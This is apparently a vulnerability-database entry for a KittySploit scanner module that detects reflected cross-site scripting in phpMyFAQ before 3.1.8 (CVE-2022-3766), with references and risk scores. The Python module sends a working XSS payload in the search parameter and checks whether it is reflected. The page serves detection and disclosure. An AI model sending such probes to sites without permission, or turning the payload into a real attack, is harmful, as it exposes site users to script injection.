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phpMyFAQ < 3.1.8 - Cross-Site Scripting Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Reflected XSS in phpMyFAQ search functionality via unsanitized search parameter.

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CVE-2022-3766
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31 Oct 202200:00
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31 Oct 202200:00
–cve
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–cvelist
huntr
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Reflect Cross Site Scripting when search
20 Oct 202208:50
–huntr
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phpMyFAQ 3.1.7 - Reflected Cross-Site Scripting (XSS)
2 Dec 202500:00
–exploitdb
github
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phpMyFAQ vulnerable to reflected Cross-site Scripting
31 Oct 202212:00
–github
mend
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CVE-2022-3766
31 Oct 202200:00
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nuclei
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phpMyFAQ < 3.1.8 - Cross-Site Scripting
15 Oct 202602:05
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""phpMyFAQ versions prior to 3."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'phpMyFAQ < 3.1.8 - Cross-Site Scripting Detection',
        'description': "phpMyFAQ versions prior to 3.1.8 contain a reflected cross-site scripting vulnerability in the search functionality. The application fails to properly sanitize user input in the search parameter, allowing attackers to inject and execute malicious JavaScript code in the context of other users' browsers.",
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2022', 'phpmyfaq', 'xss', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://huntr.dev/bounties/d9666520-4ff5-43bb-aacf-50c8e5570983',
            'https://github.com/thorsten/phpMyFAQ/commit/c7904f2236c6c0dd64c2226b90c30af0f7e5a72d',
            'https://nvd.nist.gov/vuln/detail/CVE-2022-3766',
        ],
        'cve': 'CVE-2022-3766',
    }

    def run(self):
        r = self.http_request(method="GET", path="/index.php?search=1af%22+onclick%3D'alert(document.domain)'", allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_any = ('value="1af" onclick=\'alert(document.domain)\'',)
        header_any = ('text/html',)
        if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
            self.set_info(
                severity='medium',
                reason="phpMyFAQ < 3.1.8 - Cross-Site Scripting detected",
                path="/index.php?search=1af%22+onclick%3D'alert(document.domain)'",
            )
            return True
        return False

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28 Jul 2026 11:27Current
6.9Medium risk
Vulners AI Score6.9
CVSS 3.16.1
CVSS 37.3
EPSS0.06478
SSVC
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